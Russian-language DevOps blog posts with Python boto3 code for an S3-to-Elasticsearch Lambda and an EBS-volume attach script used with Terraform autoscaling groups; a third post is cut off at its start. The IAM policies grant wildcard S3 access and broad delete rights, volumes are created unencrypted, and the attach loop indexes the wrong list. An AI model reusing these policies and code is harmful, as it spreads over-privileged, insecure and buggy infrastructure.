На работе, недавно попросили написать Lambda для AWS со следующей логикой:

• CSV файлы, апликейшеном складываются в AWS S3 бакет.
• Нужно написать python скрипт, который зайдет в бакет через креды и сможет забрать файлы с него.
• Распарсить полученные CSV файлы с AWS S3 бакета и перевести данные в JSON формат.
• Данные в JSON формате, отправить в ElasticSearch по определенному индексу.

Вообще, задача — довольно тривиальная и для меня очень простая. Я хорошо знаю python и AWS boto3 чтобы написать данный солюшен.

Не буду много лить воды, по этому сразу приведу код, который выглядит так:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import argparse
import datetime
import time
import csv
import json
import logging
import urllib3
import os
from gzip import GzipFile
from io import BytesIO, StringIO

import boto3
import botocore
from botocore.config import Config

# Initialize Logger
logger = logging.getLogger()
logger.setLevel(logging.INFO)

"""
Can Override the global variables using Lambda Environment Parameters
"""
globalVars = {}
globalVars['esIndexPrefix'] = "s3-to-es-"
globalVars['esIndexDocType'] = "s3_to_es_docs"


def s3_connector(aws_auth):
    if (aws_auth['role_name'] is None or aws_auth['role_name'] == "None") \
            and (aws_auth['role_session'] is None or aws_auth['role_session'] == "None"):
        try:
            session = boto3.session.Session(profile_name=aws_auth['profile_name'])
            # Will retry any method call at most 3 time(s)
            s3 = session.client(service_name=aws_auth['client'],
                                region_name=aws_auth['region'],
                                config=Config(retries={'max_attempts': 3})
                                )
            return s3
        except Exception as err:
            print("Failed to create a boto3 client connection to S3:\n", str(err))
            logger.error('ERROR: Failed to create a boto3 client connection to S3')
            return False
    elif (aws_auth['profile_name'] is None or aws_auth['profile_name'] == "None") \
            and (aws_auth['role_name'] is not None or aws_auth['role_name'] != "None") \
            and (aws_auth['role_session'] is not None or aws_auth['role_session'] != "None"):
        try:
            session = boto3.session.Session()
            sts = session.client(service_name='sts',
                                 region_name=aws_auth['region'],
                                 config=Config(retries={'max_attempts': 3})
                                 )

            assumed_role_object = sts.assume_role(
                RoleArn="{0}".format(aws_auth['role_name']),
                RoleSessionName='{0}'.format(aws_auth['role_session'])
            )
            # can be used ay name, but need to add restriction for the name!
            s3 = session.client(aws_access_key_id=assumed_role_object['Credentials']['AccessKeyId'],
                                aws_secret_access_key=assumed_role_object['Credentials']['SecretAccessKey'],
                                aws_session_token=assumed_role_object['Credentials']['SessionToken'],
                                service_name=aws_auth['client'],
                                region_name=aws_auth['region'],
                                config=Config(retries={'max_attempts': 3})
                                )

            return s3
        except Exception as err:
            print("Failed to create a boto3 client connection to S3:\n", str(err))
            logger.error('ERROR: Failed to create a boto3 client connection to S3')
            return False
    else:
        print('Please use/set [--profile-name] or [--role-name] with [--role-session]')
        return False


def s3_bucket(aws_auth, s3_bucket_name):
    s3_bucket_status = False
    s3 = s3_connector(aws_auth)
    if s3:
        try:
            s3.head_bucket(Bucket=s3_bucket_name)
            print("A bucket {} is already exists!".format(s3_bucket_name))
            s3_bucket_status = True
            return s3_bucket_status
        except botocore.exceptions.ClientError as e:
            error_code = int(e.response['Error']['Code'])
            if error_code == 403:
                print("Private {} bucket. Forbidden Access!".format(s3_bucket_name))
                logger.error('ERROR: Private {0} Bucket. Forbidden Access!'.format(s3_bucket_name))
            elif error_code == 404:
                print("The {} bucket does not exist!".format(s3_bucket_name))
                logger.error('ERROR: The {0} bucket does not exist!'.format(s3_bucket_name))
            s3_bucket_status = False
            return s3_bucket_status
    else:
        exit(-1)

    return s3_bucket_status


def s3_objects(aws_auth, s3_bucket_name):
    s3objects = []

    s3 = s3_connector(aws_auth)
    bucket_name = s3_bucket(aws_auth, s3_bucket_name)
    if bucket_name:
        try:
            for key in s3.list_objects(Bucket=s3_bucket_name)['Contents']:
                # print(key['Key'])
                key_name = key['Key']
                if (key_name.endswith('.gz')) or (key_name.endswith('.tar.gz')):
                    retr = s3.get_object(Bucket=s3_bucket_name, Key=key_name)
                    bytestream = BytesIO(retr['Body'].read())
                    content = GzipFile(None, 'rb', fileobj=bytestream).read().decode('utf-8')
                    s3objects.append(content)
                else:
                    data = s3.get_object(Bucket=s3_bucket_name, Key=key_name)
                    contents = data['Body'].read()
                    s3objects.append(contents)

                logger.info('SUCCESS: Retrieved object(s) from S3 {0} bucket'.format(s3_bucket_name))
        except Exception as e:
            print(e)
            logger.error('ERROR: I could not retrieved object(s) from S3 {0} bucket'.format(s3_bucket_name))

    return s3objects


def sending_data_to_elastisearch(es_url, docData):
    # Index each line to ES Domain
    index_name = globalVars['esIndexPrefix'] + str(datetime.date.today().year) + '-' + str(datetime.date.today().month)
    elastic_searh_url = es_url + '/' + index_name + '/' + globalVars['esIndexDocType']
    try:
        headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
        http = urllib3.PoolManager()
        response = http.request('POST',
                                elastic_searh_url,
                                body=json.dumps(docData),
                                headers=headers,
                                retries=False,
                                timeout=30)

        # print('Response status: ', response.status, "\nResponse data: ", response.data.decode('utf-8'))

        logger.error('ERROR [response status]: {0}'.format(response.status))

        if response.status == 201:
            logger.info('INFO: Response status: {0}\nResponse data: {1}'.format(response.status,
                                                                                response.data.decode('utf-8')))
            logger.info('INFO: Successfully inserted element into ES')
        elif response.status == 405:
            logger.error('ERROR: Something is wrong with sending DATA: \n\t {}'.format(response.data.decode('utf-8')))
            exit(1)
        else:
            logger.error('FAILURE: Got an error: \n\t {}'.format(response.data.decode('utf-8')))
            exit(1)
    except Exception as e:
        logger.error('ERROR: {0}'.format(str(e)))
        logger.error('ERROR: Unable to index line:"{0}"'.format(str(docData['content'])))
        print(e)
        exit(1)

    return sending_data_to_elastisearch


def pushing_locally(aws_auth, s3_bucket_name, es_url):
    s3objects = s3_objects(aws_auth, s3_bucket_name)
    for obj in s3objects:
        reader = csv.DictReader(StringIO(obj), fieldnames=None, restkey=None, restval=None, dialect='excel')
        for row in reader:
            json_out = json.loads(json.dumps(row))

            docData = {}
            docData['content'] = str(json.dumps(json_out))
            docData['createdDate'] = '{}'.format(datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%S.%fZ"))

            sending_data_to_elastisearch(es_url, docData)

    return pushing_locally


def lambda_handler(event, context):

    aws_auth = {
        "client": os.environ['aws_boto3_client'],
        "region": os.environ['aws_region'],
        "profile_name": os.environ['aws_profile_name'],
        "role_name": os.environ['aws_role_name'],
        "role_session": os.environ['aws_role_session']
    }

    s3_bucket_name = os.environ['aws_s3_bucket_name']
    es_url = os.environ['elasticsearch_url']

    logger.info("Received event: " + json.dumps(event, indent=2))

    s3objects = s3_objects(aws_auth, s3_bucket_name)

    for obj in s3objects:
        reader = csv.DictReader(StringIO(obj.decode('utf-8')),
                                fieldnames=None,
                                restkey=None,
                                restval=None,
                                dialect='excel')
        for row in reader:
            json_out = json.loads(json.dumps(row))

            docData = {}
            docData['content'] = str(json.dumps(json_out))
            docData['createdDate'] = '{}'.format(datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%S.%fZ"))

            sending_data_to_elastisearch(es_url, docData)
    logger.info('SUCCESS: Successfully indexed the entire doc into ElastiSearch')

    return {"Status": "AWS Lambda handler has been finished"}


if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov'''
                                     )
    parser.add_argument('--version', action='version', version='v0.1.0')
    parser.add_argument('--bclient', dest='boto3_client', help='Set boto3 client', default='s3')
    parser.add_argument('--region', dest='region', help='Set AWS region for boto3', default='us-east-1')
    parser.add_argument('--pname', '--profile-name', dest='profile_name', help='Set profile name of AWS',
                        default=None)
    parser.add_argument('--rname', '--role-name', dest='role_name', help='Set role ARN name',
                        default=None)
    parser.add_argument('--rsession', '--role-session', dest='role_session', help='Set role session name',
                        default=None)
    parser.add_argument('--s3-bucket', '--s3bucket', dest='s3_bucket', help='Set S3 bucket name',
                        default="test-s3-to-elastisearch")
    parser.add_argument('--es-url', '--esurl', dest='es_url', help='Set ElastiSerch URL',
                        default="http://localhost:9200")
    parser.add_argument('--lambda', dest='aws_lambda', help='Set lambda usage', default=True)

    results = parser.parse_args()

    boto3_client = results.boto3_client
    region = results.region
    profile_name = results.profile_name
    role_name = results.role_name
    role_session = results.role_session
    s3_bucket_name = results.s3_bucket
    es_url = results.es_url
    aws_lambda = results.aws_lambda

    if aws_lambda == 'True':
        lambda_handler(None, None)
    else:
        start__time = time.time()
        aws_auth = {
            "client": boto3_client,
            "region": region,
            "profile_name": profile_name,
            "role_name": role_name,
            "role_session": role_session
        }

        pushing_locally(aws_auth, s3_bucket_name, es_url)

        end__time = round(time.time() - start__time, 2)
        print("--- %s seconds ---" % end__time)

Получить помощь, можно так:

$ python3 s3-to-elastisearch.py --help
usage: python3 script_name.py {ARGS}

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --bclient BOTO3_CLIENT
                        Set boto3 client
  --region REGION       Set AWS region for boto3
  --pname PROFILE_NAME, --profile-name PROFILE_NAME
                        Set profile name of AWS
  --rname ROLE_NAME, --role-name ROLE_NAME
                        Set role ARN name
  --rsession ROLE_SESSION, --role-session ROLE_SESSION
                        Set role session name
  --s3-bucket S3_BUCKET, --s3bucket S3_BUCKET
                        Set S3 bucket name
  --es-url ES_URL, --esurl ES_URL
                        Set ElastiSerch URL
  --lambda AWS_LAMBDA   Set lambda usage

created by Vitalii Natarov

Пример использования:

$ python3 s3-to-elastisearch.py --lambda=False --profile-name=default

Или:

$ python3 s3-to-elastisearch.py --lambda=False --role-name="role_here" --role-session="session"

Насчет AWS Lambda, то для нее нужно будет выставить Environment переменные со следующими ключами:

• aws_s3_bucket_name — Опция которая позваляет задать имя для AWS S3 бакета (т.е где будут лежать ваши CSV файлы).
  
• elasticsearch_url — Далавляем УРЛ ElasticSearch-а. Например — «localhost:9200».
• boto3_client — Клиент для подключения, например — S3.
• aws_region — Выставляем AWS регион, например: us-east-1.
• aws_profile_name — Профиль для подключения и получения ресурсов с AWS. Например — default.
• aws_role_name — Если не выставлен aws_profile_name, то нужно выставить aws_role_name для использования ресурсов в AWS.
• role_session — Если не выставлен aws_profile_name, то нужно выставить role_session для использования ресурсов в AWS.

Например:

aws_lambda_role_trust_policies.json выглядат так:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "LambdaAssumeRoleAllow",
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

aws_lambda_policy.json выглядит так:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "LogGroupAllows",
            "Effect": "Allow",
            "Action": "logs:CreateLogGroup",
            "Resource": "arn:aws:logs:us-east-1:167127734783:*"
        },
        {
            "Sid": "LogStreamAllows",
            "Effect": "Allow",
            "Action": [
                "logs:CreateLogStream",
                "logs:PutLogEvents"
            ],
            "Resource": [
                "arn:aws:logs:us-east-1:167127734783:log-group:/aws/lambda/s3-to-elasticsearch:*"
            ]
        },
        {
            "Sid": "ESAllows",
            "Effect": "Allow",
            "Action": [
                "es:ListElasticsearchInstanceTypeDetails",
                "es:CreateElasticsearchDomain",
                "es:ListTags",
                "es:ESHttpDelete",
                "es:DeleteElasticsearchServiceRole",
                "es:GetUpgradeHistory",
                "es:ESHttpHead",
                "es:DeleteElasticsearchDomain",
                "es:DescribeElasticsearchDomain",
                "es:UpgradeElasticsearchDomain",
                "es:ESHttpPost",
                "es:ESHttpPatch",
                "es:DescribeElasticsearchDomains",
                "es:DescribeReservedElasticsearchInstanceOfferings",
                "es:CreateElasticsearchServiceRole",
                "es:ESHttpGet",
                "es:DescribeElasticsearchDomainConfig",
                "es:PurchaseReservedElasticsearchInstanceOffering",
                "es:DescribeReservedElasticsearchInstances",
                "es:ListDomainNames",
                "es:UpdateElasticsearchDomainConfig",
                "es:GetCompatibleElasticsearchVersions",
                "es:GetUpgradeStatus",
                "es:ListElasticsearchInstanceTypes",
                "es:ListElasticsearchVersions",
                "es:DescribeElasticsearchInstanceTypeLimits",
                "es:ESHttpPut"
            ],
            "Resource": "*"
        },
        {
            "Sid": "S3Allows",
            "Effect": "Allow",
            "Action": [
                "S3:*"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

python_script_role_policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "LogGroupAllows",
            "Effect": "Allow",
            "Action": "logs:CreateLogGroup",
            "Resource": "arn:aws:logs:us-east-1:167127734783:*"
        },
        {
            "Sid": "LogStreamAllows",
            "Effect": "Allow",
            "Action": [
                "logs:CreateLogStream",
                "logs:PutLogEvents"
            ],
            "Resource": [
                "arn:aws:logs:us-east-1:167127734783:log-group:/aws/lambda/s3-to-elasticsearch:*"
            ]
        },
        {
            "Sid": "ESAllows",
            "Effect": "Allow",
            "Action": [
                "es:ListElasticsearchInstanceTypeDetails",
                "es:CreateElasticsearchDomain",
                "es:ListTags",
                "es:ESHttpDelete",
                "es:DeleteElasticsearchServiceRole",
                "es:GetUpgradeHistory",
                "es:ESHttpHead",
                "es:DeleteElasticsearchDomain",
                "es:DescribeElasticsearchDomain",
                "es:UpgradeElasticsearchDomain",
                "es:ESHttpPost",
                "es:ESHttpPatch",
                "es:DescribeElasticsearchDomains",
                "es:DescribeReservedElasticsearchInstanceOfferings",
                "es:CreateElasticsearchServiceRole",
                "es:ESHttpGet",
                "es:DescribeElasticsearchDomainConfig",
                "es:PurchaseReservedElasticsearchInstanceOffering",
                "es:DescribeReservedElasticsearchInstances",
                "es:ListDomainNames",
                "es:UpdateElasticsearchDomainConfig",
                "es:GetCompatibleElasticsearchVersions",
                "es:GetUpgradeStatus",
                "es:ListElasticsearchInstanceTypes",
                "es:ListElasticsearchVersions",
                "es:DescribeElasticsearchInstanceTypeLimits",
                "es:ESHttpPut"
            ],
            "Resource": "*"
        },
        {
            "Sid": "S3Allows",
            "Effect": "Allow",
            "Action": [
                "S3:*"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

python_script_role_trust_policies.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "sts.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    },
    {
      "Sid": "ff",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:sts::167127734783:assumed-role/test-lambda-role/s3-to-elasticsearch"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Можно использовать! Если нужно помочь в настройке, пишите, — смогу помочь!

И да, код будет отправлен в GitHub и его можно будет стянуть:

$ git clone git@github.com:SebastianUA/lambda-s3-elastisearch.git

Вот и все, статья «AWS Lambda на python3 в Unix/Linux» завершена.

Буквально недавно появилось время написать статью и поделится моей автоматизацией. Задача заключалась в следующем, — нужно создать терраформ модуль(и) для провиженинга AWS EC2 с использованием AWS ASG + AWS EBS. Если кто-то работал с AWS ASG + AWS EBS volumes, то знают что терраформ не позволяет создавать и прикреплять волюмы (разделы) к автоскейленг-группе. На самом-то деле, решений несколько:

• Написать модуль для Terraform и подружить AWS ASG + AWS EBS volumes. Идея очень крутая и даже разумная, но, увы — я не знаю GO. На освоение потребуется довольно много времени. Сразу отпадает. Конечно, я очень хочу начать писать на данном языке именно для того, чтобы запилить недостающий функционал в Terraform. Ребята конечно, пишут хорошо модули, но, не так быстро как хотелось…..
• Использовать python. Да, я питон знаю довольно хорошо и могу писать хорошие автоматизации. По этому, выбор пал именно на python3 + boto3.

В общим, нам понадобится, — Terraform:

Установка terraform в Unix/Linux

Модули для терраформа, можно взять мои с гитгаба:

$ git clone https://github.com/SebastianUA/terraform.git

Приведу пример моего терраформ примера и main файл выглядит:

module "sg" {
    source                              = "../../../modules/sg"
    name                                = "test"
    environment                         = "NonPROD"

    enable_sg_creating                  = true
    vpc_id                              = "vpc-09f1d36e"
    enable_all_egress_ports             = true
    allowed_ports                       = ["22", "7199", "7000", "7001", "9160", "9042"]
    allow_cidrs_for_allowed_ports       = {
        "22" = [
            "159.224.217.0/24",
            "10.0.0.0/8",
            "172.16.0.0/12"
        ],
        "7199" = [
            "10.0.0.0/8",
            "172.16.0.0/12"
        ],
        "7000" = [
            "10.0.0.0/8",
            "172.16.0.0/12"
        ],
        "7001" = [
            "10.0.0.0/8",
            "172.16.0.0/12"
        ],
        "9160" = [
            "10.0.0.0/8",
            "172.16.0.0/12"
        ],
        "9042" = [
            "10.0.0.0/8",
            "172.16.0.0/12"
        ]
    }

    enable_custom_sg_rule                  = true
    sg_rule_type                           = "ingress"
    sg_rule_from_port                      = "1"
    sg_rule_to_port                        = "65535"
    sg_rule_protocol                       = "all"
    #sg_rule_cidr_blocks                    = []
}

module "asg" {
    source             = "../../../modules/asg"
    name               = "test"
    region             = "us-west-2"
    environment        = "NonPROD"

    security_groups    = ["${module.sg.security_group_id}"]
    root_block_device  = [
        {
            volume_size = "8"
            volume_type = "gp2"
        },
    ]
    placement_tenancy        = "default"

    ami = {
        us-west-2 = "ami-09c6e771"
    }

    # Auto scaling group; NOTE: Use vpc_zone_identifier or availability_zones or will be got error!
    vpc_zone_identifier                 = ["subnet-ca0a9a83", "subnet-f2027b95"]
    # NOTE: If will be used availability_zones than enable_associate_public_ip_address = false!
    enable_associate_public_ip_address = false
    #
    enable_asg_azs                      = false

    health_check_type                   = "EC2"
    asg_min_size                        = 0
    asg_max_size                        = 1
    desired_capacity                    = 1
    wait_for_capacity_timeout           = 0

    monitoring                          = true
    # Set up the autoscaling schedule
    enable_autoscaling_schedule         = false
    asg_recurrence_scale_up             = "0 7 * * MON-FRI"
    asg_recurrence_scale_down           = "0 19 * * MON-FRI"

    # Define SSH key pair for our instances
    key_path                            = "additional_files/nonprod-cassandra.pub"

    # Set up launch configuration
    ec2_instance_type                   = "t3.medium"
    user_data                           = "./additional_files/bootstrap.tpl"
}

Файл (./additional_files/bootstrap.tpl) выглядит следующим образом:

#!/bin/bash

#----------------------------------------------------------------
# Updates; Install additional tools
#----------------------------------------------------------------
sudo yum update -y;
sudo yum install -y epel-release.noarch;
sudo yum update -y;
sudo yum install -y htop \
	telnet \
	wget \
	curl \
	python34 \
	python34-pip \
	net-tools \
	vim \
    git \
	screen
   
sudo yum update -y;
 
sudo echo "Test user_data file" >> ~/tmp.txt
#----------------------------------------------------------------
# Install AWS CLI tool
#----------------------------------------------------------------
sudo ln -s /usr/bin/pip-3.4 /usr/bin/pip3

sudo pip3 install awscli --upgrade --user
sudo pip3 install argparse boto3 awscli ec2-metadata --force-reinstall --upgrade 

#----------------------------------------------------------------
# Download and run py-script to attach Volume(s) to the node(s)
#----------------------------------------------------------------
git clone REPO_with_SCRIPT
python3 python-scripts/ebs_volumes.py --vol-name=test --pname=default --vol-size=6 --vol-env=nonprod --create
python3 python-scripts/ebs_volumes.py --vol-name=test --pname=default --attach

sudo rm -rf python-scripts

REPO_with_SCRIPT — Репозиторий где лежит скрипт который я приведу ниже:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import boto3
import time
import re

from ec2_metadata import ec2_metadata


class bgcolors:
    def __init__(self):
        self.colors = {
            'PURPURE': '\033[95m',
            'BLUE': '\033[94m',
            'GREEN': '\033[92m',
            'YELLOW': '\033[93m',
            'RED': '\033[91m',
            'ENDC': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }


def ec2_connector(b3_client, region, prof_name):
    try:
        session = boto3.session.Session(profile_name=prof_name)
        ec2 = session.client(b3_client, region_name=region)
        return ec2
    except Exception as err:
        print("Failed to create a boto3 client connection to EC2:\n", bgcolors().colors['RED'] + str(err),
              bgcolors().colors['ENDC'])
        return False


def ec2_describe_parameters():
    instance_id = ec2_metadata.instance_id
    availability_zone = ec2_metadata.availability_zone
    parameters = {'Instance_ID': instance_id, 'Availability_Zone': availability_zone}
    return parameters


def ec2_describe_volumes(b3_client, region, prof_name):
    volumes_array = []
    ec2 = ec2_connector(b3_client, region, prof_name)
    if ec2:
        volumes = ec2.describe_volumes(Filters=[])
        for volume in volumes['Volumes']:
            volume_id = volume['VolumeId']
            if 'Tags' in volume:
                tag_keys = volume['Tags']
                for tag_key in tag_keys:
                    tk = tag_key['Key']
                    if tk == "Name":
                        tv = tag_key['Value']
                        data_tags = {'Volume_Name': tv, 'Volume_ID': volume_id}
                        volumes_array.append(data_tags)
            else:
                data_tags = {'Volume_Name': 'None', 'Volume_ID': volume_id}
                volumes_array.append(data_tags)
    else:
        exit(-1)
    return volumes_array


def ec2_create_volume(b3_client, region, prof_name, vol_name, vol_env, vol_size):
    ec2 = ec2_connector(b3_client, region, prof_name)
    if ec2:
        volumes = ec2_describe_volumes(b3_client, region, prof_name)
        availability_zone = ec2_describe_parameters()['Availability_Zone']
        # availability_zone = 'us-west-2a'
        if not volumes:
            print('None, I will create a new volume!')
            try:
                new_volume = ec2.create_volume(Size=int(vol_size),
                                               Encrypted=False,
                                               AvailabilityZone='{0}'.format(availability_zone),
                                               VolumeType='gp2',
                                               TagSpecifications = [
                                                   {
                                                       "ResourceType": 'volume',
                                                       'Tags': [
                                                           {
                                                               'Key': 'Name',
                                                               'Value': '{0}-ebs-{1}'.format(vol_name, vol_env)
                                                           },
                                                           {
                                                               'Key': 'Environment',
                                                               'Value': '{0}'.format(vol_env)
                                                           },
                                                           {
                                                               'Key': 'Orchestration',
                                                               'Value': 'py-script'
                                                           },
                                                           {
                                                               'Key': 'Createdby',
                                                               'Value': 'Vitaliy Natarov'
                                                           }
                                                        ],
                                                    },
                                                ]
                )
                ec2.get_waiter('volume_available').wait(VolumeIds=[new_volume['VolumeId']])
            except Exception as err:
                print(
                    "I can not create a [{0}] volume:\n".format(vol_name), bgcolors().colors['RED'] + str(err),
                    bgcolors().colors['ENDC'])
        else:
            circle = 0
            founded_volumes = []
            while circle < len(volumes):
                if re.search(r'{0}-ebs-{1}'.format(vol_name, vol_env), volumes[circle]['Volume_Name']):
                    founded_volumes.append(volumes[circle])
                circle += 1
            if not founded_volumes:
                print('I will create a new volume!')
                try:
                    new_volume = ec2.create_volume(Size=int(vol_size),
                                                   Encrypted=False,
                                                   AvailabilityZone='{0}'.format(availability_zone),
                                                   VolumeType='gp2',
                                                   TagSpecifications=[
                                                       {
                                                           "ResourceType": 'volume',
                                                           'Tags': [
                                                               {
                                                                   'Key': 'Name',
                                                                   'Value': '{0}-ebs-{1}'.format(vol_name, vol_env)
                                                               },
                                                               {
                                                                   'Key': 'Environment',
                                                                   'Value': '{0}'.format(vol_env)
                                                               },
                                                               {
                                                                   'Key': 'Orchestration',
                                                                   'Value': 'py-script'
                                                               },
                                                               {
                                                                   'Key': 'Createdby',
                                                                   'Value': 'Vitaliy Natarov'
                                                               }
                                                           ],
                                                       },
                                                   ]
                                                   )
                    ec2.get_waiter('volume_available').wait(VolumeIds=[new_volume['VolumeId']])
                except Exception as err:
                    print(
                        "I can not create a [{0}] volume:\n".format(vol_name), bgcolors().colors['RED'] + str(err),
                        bgcolors().colors['ENDC'])
            else:
                print('Woops.... I cant create a new volume. Please use another name to it!!!!!')
    else:
        exit(-1)
    return ec2_create_volume


def ec2_attaching_volumes(b3_client, region, prof_name, vol_name):
    ec2 = ec2_connector(b3_client, region, prof_name)
    if ec2:
        instance_id = ec2_describe_parameters()['Instance_ID']
        volumes = ec2_describe_volumes(b3_client, region, prof_name)
        #
        # instance_id = 'i-0f6f70b38d1ccf0c1'
        #
        # volumes = [{'Volume_Name': 'test-ebs-nonprod', 'Volume_ID': 'vol-040d07848d558e1da'},
        #           {'Volume_Name': 'test2-ebs-nonprod', 'Volume_ID': 'vol-040d07848d558e1db'}]
        if not volumes:
            print('None')
            exit(0)
        else:
            circle = 0
            founded_volumes = []
            while circle < len(volumes):
                if re.search(r'{0}'.format(vol_name), volumes[circle]['Volume_Name']):
                    founded_volumes.append(volumes[circle])
                circle += 1
            symbols_for_volumes = ['b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n']
            circle2 = 0
            while circle2 < len(founded_volumes):
                volume_device_name = '/dev/xvd{0}'.format(symbols_for_volumes[circle2])
                try:
                    print('I will try attach!')
                    print(volumes[circle2]['Volume_ID'], instance_id, volume_device_name)
                    ec2.attach_volume(
                        VolumeId='{0}'.format(volumes[circle2]['Volume_ID']),
                        InstanceId='{0}'.format(instance_id),
                        Device='{0}'.format(volume_device_name))
                except Exception as err:
                    print("I can not attach [{0}] volume to [{1}] node:\n".format(volumes[circle2]['Volume_ID'], instance_id),
                          bgcolors().colors['RED'] + str(err), bgcolors().colors['ENDC'])
                circle2 += 1
    else:
        exit(-1)
    return ec2_attaching_volumes


def ec2_delete_volume(b3_client, region, prof_name, vol_name, vol_env):
    ec2 = ec2_connector(b3_client, region, prof_name)
    if ec2:
        volumes = ec2_describe_volumes(b3_client, region, prof_name)
        circle = 0
        if volumes:
            while circle < len(volumes):
                if re.search(r'{0}-ebs-{1}'.format(vol_name, vol_env), volumes[circle]['Volume_Name']):
                    volume_id = volumes[circle]['Volume_ID']
                    try:
                        delete_volume = ec2.delete_volume(VolumeId='{0}'.format(volume_id))
                        # ec2.get_waiter('delete_complete').wait(VolumeIds=[delete_volume['VolumeId']])
                    except Exception as err:
                        print(
                            "I can not delete a [{0}] volume:\n".format(vol_name), bgcolors().colors['RED'] + str(err),
                        bgcolors().colors['ENDC'])
                circle += 1
        else:
            print('I dont have needed volume name to delete! Please use another one....')

    else:
        exit(-1)
    return ec2_delete_volume


def main():
    start__time = time.time()
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov''')
    parser.add_argument('--version', action='version', version='v0.5.0')
    parser.add_argument('--bclient', '--boto3-client', dest='boto3_client', help='Set boto3 client', default='ec2')
    parser.add_argument('--region', dest='region', help='Set AWS region for boto3', default='us-west-2')
    parser.add_argument('--pname', '--profile-name', dest='profile_name', help='Set profile name',
                        default='default')
    parser.add_argument('--vol-name', '--volume-name', dest='volume_name', help='Set volume name to find|attach it',
                        default='test')
    parser.add_argument('--vol-env', '--volume-env', dest='volume_env', help='Set env for volume', default='nonprod')
    parser.add_argument('--vol-size', '--volume-size', dest='volume_size', help='Set size for volume', default=6)

    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument('--d', dest='describe', help='Describe volumes', action='store_true')
    group.add_argument('--describe', dest='describe', help='Describe volumes', action='store_true')

    group2 = parser.add_mutually_exclusive_group(required=False)
    group2.add_argument('--c', dest='create', help='Create volume', action='store_true', default=argparse.SUPPRESS)
    group2.add_argument('--create', dest='create', help='Create volume', action='store_true')

    group3 = parser.add_mutually_exclusive_group(required=False)
    group3.add_argument('--a', dest='attach', help='Attach volume(s)', action='store_true', default=argparse.SUPPRESS)
    group3.add_argument('--attach', dest='attach', help='Attach volume(s)', action='store_true')

    group4 = parser.add_mutually_exclusive_group(required=False)
    group4.add_argument('--del', dest='delete', help='Delete volume', action='store_true', default=argparse.SUPPRESS)
    group4.add_argument('--delete', dest='delete', help='Delete volume', action='store_true')

    results = parser.parse_args()

    boto3_client = results.boto3_client
    region = results.region
    profile_name = results.profile_name
    volume_name = results.volume_name
    volume_env = results.volume_env
    volume_size = results.volume_size

    if results.describe:
        print(ec2_describe_volumes(boto3_client, region, profile_name))
    elif results.create:
        ec2_create_volume(boto3_client, region, profile_name, volume_name, volume_env, volume_size)
    elif results.attach:
        ec2_attaching_volumes(boto3_client, region, profile_name, volume_name)
    elif results.delete:
        ec2_delete_volume(boto3_client, region, profile_name, volume_name, volume_env)
    else:
        print(bgcolors().colors['GREEN'],
              'Please add [--describe] for describe or [--create] for create or [--attach] for attach',
              bgcolors().colors['ENDC'])
        print(bgcolors().colors['RED'], 'For help, use: script_name.py -h', bgcolors().colors['ENDC'])
        exit(0)

    end__time = round(time.time() - start__time, 2)
    print("--- %s seconds ---" % end__time)
    print(bgcolors().colors['GREEN'], "============================================================",
          bgcolors().colors['ENDC'])
    print(bgcolors().colors['GREEN'], "==========================FINISHED==========================",
          bgcolors().colors['ENDC'])
    print(bgcolors().colors['GREEN'], "============================================================",
          bgcolors().colors['ENDC'])


if __name__ == '__main__':
    main()

Вот такой вот скрипт. Чтобы вызвать помощь, выполните:

$ python3 ebs_volumes.py --help

Получаем вывод:

usage: python3 script_name.py {ARGS}

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --bclient BOTO3_CLIENT, --boto3-client BOTO3_CLIENT
                        Set boto3 client
  --region REGION       Set AWS region for boto3
  --pname PROFILE_NAME, --profile-name PROFILE_NAME
                        Set profile name
  --vol-name VOLUME_NAME, --volume-name VOLUME_NAME
                        Set volume name to find|attach it
  --vol-env VOLUME_ENV, --volume-env VOLUME_ENV
                        Set env for volume
  --vol-size VOLUME_SIZE, --volume-size VOLUME_SIZE
                        Set size for volume
  --d                   Describe volumes
  --describe            Describe volumes
  --c                   Create volume
  --create              Create volume
  --a                   Attach volume(s)
  --attach              Attach volume(s)
  --del                 Delete volume
  --delete              Delete volume

created by Vitalii Natarov

Для тех кто не очень понимает, то скрипт умеет создавать, проверять какие томы имеются в AWS, прикреплять томы к нодам и удалять волюмы.

Приведу пару примеров использования:

$ python3 ebs_volumes.py --vol-name=test --pname=default --vol-size=66 --vol-env=nonprod --create
$ python3 ebs_volumes.py --vol-name=test --pname=default --describe
$ python3 ebs_volumes.py --vol-name=test --pname=default --delete

Как-то так. А у меня пока все, статья «Автоматизация AWS EBS через python скрипт и Terraform в Unix/Linux».

Давно ничего не писал на питоне, наверное месяцев 6 (как пришел на новый проект в компании). А тут, интерес появился написать генерацию документации для Terraform модулей которые я контрибьютю. В общим, мне надоело писать документацию основываясь на дескрипщенах в variable.tf и outputs.tf файлах. Прикинул что это реально, начал писать….

Для начала, стоит установить модуль:

